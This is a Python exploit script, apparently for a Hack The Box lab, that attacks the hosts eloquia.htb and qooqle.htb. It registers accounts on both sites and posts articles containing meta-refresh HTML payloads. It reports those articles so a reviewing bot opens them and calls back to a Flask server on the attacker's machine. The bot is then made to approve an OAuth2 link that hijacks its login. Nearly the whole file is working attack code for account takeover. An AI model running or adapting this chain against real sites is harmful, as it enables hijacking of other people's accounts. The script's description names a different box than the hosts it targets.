import argparse
import psutil
import os
from bs4 import BeautifulSoup
import requests
from PIL import Image
import io
from flask import Flask, request, redirect
import threading
import time

USERNAME = 'test23'
EMAIL = 'test23@test.com'
PASSWORD = 'Summer2025!'

first_xss = False
done = False

parser = argparse.ArgumentParser(description='Exploit script for Sorcery HTB')
parser.add_argument('--ip', type=str, default=None, help='ip address of the attacking machine')
parser.add_argument('--port', type=int, default=7777, help='port number for the server')
args = parser.parse_args()

if args.ip is None:
    print('ip address not provided, retrieving ip address of tun0 interface')
    for iface in psutil.net_if_addrs():
        if iface == 'tun0':
            for addr in psutil.net_if_addrs()[iface]:
                if addr.family == psutil.socket.AF_INET:
                    args.ip = addr.address
                    break
    if args.ip is None:
        print('Could not find tun0 interface, please provide the ip address using --ip argument')
        os._exit(1)

base_url = 'http://eloquia.htb'
qooqle_base_url = 'http://qooqle.htb'

s = requests.Session()
qooqle_s = requests.Session()

print('----- Registering user in eloquia.htb -----')
res = s.get(f'{base_url}/accounts/register/')
soup = BeautifulSoup(res.text, 'html.parser')
csrf_token = soup.find('input', {'name': 'csrfmiddlewaretoken'})['value']
data = {
    'csrfmiddlewaretoken': csrf_token,
    'username': USERNAME,
    'email': EMAIL,
    'password1': PASSWORD,
    'password2': PASSWORD
}
res = s.post(f'{base_url}/accounts/register/', data=data, headers={'Referer': f'{base_url}/accounts/register'}, allow_redirects=False)
if res.status_code == 302:
    print('Registration successful')
else:
    soup = BeautifulSoup(res.text, 'html.parser')
    errors_div = soup.find('div', {'class': 'alert alert-danger'})
    if errors_div and 'already exists' in errors_div.text:
        print('User already exists, continuing to login')
    else:
        print('Registration failed:')
        print(errors_div.text.strip())
        os._exit(1)

print('----- Registering user in qooqle -----')
res = qooqle_s.get(f'{qooqle_base_url}/register/')
soup = BeautifulSoup(res.text, 'html.parser')
csrf_token = soup.find('input', {'name': 'csrfmiddlewaretoken'})['value']
data = {
    'csrfmiddlewaretoken': csrf_token,
    'first_name': USERNAME,
    'last_name': USERNAME,
    'username': USERNAME,
    'password1': PASSWORD,
    'password2': PASSWORD,
}
res = qooqle_s.post(f'{qooqle_base_url}/register/', data=data, allow_redirects=False)
if res.status_code == 302:
    print('Registration successful')
else:
    if 'already exists' in res.text:
        print('User already exists, continuing to login')
    else:
        print('Registration failed:')
        print(res.text.strip())
        os._exit(1)

print('----- Logging into eloquia.htb -----')
res = s.get(f'{base_url}/accounts/login/')
soup = BeautifulSoup(res.text, 'html.parser')
csrf_token = soup.find('input', {'name': 'csrfmiddlewaretoken'})['value']
data = {
    'csrfmiddlewaretoken': csrf_token,
    'username': USERNAME,
    'password': PASSWORD
}
res = s.post(f'{base_url}/accounts/login/', data=data, headers={'Referer': f'{base_url}/accounts/login/'}, allow_redirects=False)
if res.status_code == 302:
    print('Login successful')
else:
    soup = BeautifulSoup(res.text, 'html.parser')
    errors_div = soup.find('div', {'class': 'alert alert-danger'})
    if errors_div:
        print('Login failed:')
        print(errors_div.text.strip())
        os._exit(1)

print('----- Logging into qooqle.htb -----')
res = qooqle_s.get(f'{qooqle_base_url}/login/')
soup = BeautifulSoup(res.text, 'html.parser')
csrf_token = soup.find('input', {'name': 'csrfmiddlewaretoken'})['value']
data = {
    'csrfmiddlewaretoken': csrf_token,
    'username': USERNAME,
    'password': PASSWORD
}
res = qooqle_s.post(f'{qooqle_base_url}/login/', data=data, allow_redirects=False)
if res.status_code == 302:
    print('Login successful')
else:
    soup = BeautifulSoup(res.text, 'html.parser')
    errors_div = soup.find('div', {'class': 'alert alert-danger'})
    if errors_div:
        print('Login failed:')
        print(errors_div.text.strip())
        os._exit(1)

def create_article(content):
    res = s.get(f'{base_url}/article/create/')
    soup = BeautifulSoup(res.text, 'html.parser')
    csrf_token = soup.find('input', {'name': 'csrfmiddlewaretoken'})['value']

    # creating image
    width, height = 5000, 5000
    background_color = (255, 255, 255)  # white
    blank_image = Image.new("RGB", (width, height), background_color)
    # save to bytes io
    img_byte_arr = io.BytesIO()
    blank_image.save(img_byte_arr, format='PNG')
    img_byte_arr.seek(0)
    files = {
        'banner': ('test.png', img_byte_arr, 'image/png')
    }
    data = {
        'csrfmiddlewaretoken': csrf_token,
        'title': 'test',
        'content': content
    }
    res = s.post(f'{base_url}/article/create/', data=data, files=files, allow_redirects=False)
    if res.status_code == 302:
        print('Article created successfully')
    else:
        print('Article creation failed')
        os._exit(1)

    loc = res.headers['Location']
    print(f'Article URL: {base_url}{loc}')
    article_id = loc.split('/')[-2]
    return article_id

def report_article(article_id):
    res = s.get(f'{base_url}/article/report/{article_id}/')
    if 'successfully' not in res.text:
        print('Failed to report')
        os._exit(1)

def get_oauth2_link():
    res = s.get(f'{base_url}/accounts/oauth2/qooqle/authorize/', allow_redirects=False)
    url = res.headers['Location']
    #print('qooqle url:', url)
    res = qooqle_s.get(url)
    # get hidden inputs
    soup = BeautifulSoup(res.text, 'html.parser')
    hidden_inputs = soup.find_all('input', {'type': 'hidden'})
    my_data = {}
    for hidden_input in hidden_inputs:
        if 'value' in hidden_input.attrs:
            my_data[hidden_input['name']] = hidden_input['value']
        else:
            my_data[hidden_input['name']] = ''
    my_data['allow'] = 'Authorize'

    res = qooqle_s.post(url, data=my_data, allow_redirects=False)
    target_url = res.headers['Location']
    return target_url

app = Flask(__name__)

@app.route('/exp', methods=['GET'])
def exp():
    global first_xss
    if not first_xss:
        first_xss = True
        print('----- Received request for /exp -----')
        print('----- Getting oauth2 link -----')
        oauth2_link = get_oauth2_link()
        print('OAuth2 link:', oauth2_link)
        print('----- Creating article for second XSS -----')
        xss_payload_2 = f'''<meta http-equiv="refresh" content="0; url={oauth2_link}">'''
        article_id = create_article(xss_payload_2)
        article_link = f'{base_url}/article/visit/{article_id}/'
        global done
        done = True
        return redirect(article_link)
    else:
        return ''

print('----- Starting server -----')
server_thread = threading.Thread(target=app.run, kwargs={'host':'0.0.0.0', 'port': args.port})
server_thread.start()
time.sleep(1)
print('Server started')

print('----- Creating article for first XSS -----')
xss_payload = f'''<meta http-equiv="refresh" content="0; url=http://{args.ip}:{args.port}/exp">'''
article_id = create_article(xss_payload)
print('----- Reporting article for first XSS -----')
report_article(article_id)

print('Waiting for first XSS to complete...')
while not done:
    time.sleep(1)
time.sleep(1)
print('Exploit completed.')
print('Login to qooqle.htb with the following credentials:')
print(f'Username: {USERNAME}')
print(f'Password: {PASSWORD}')
print('Go to eloquia.htb and login with qooqle')

os._exit(0)

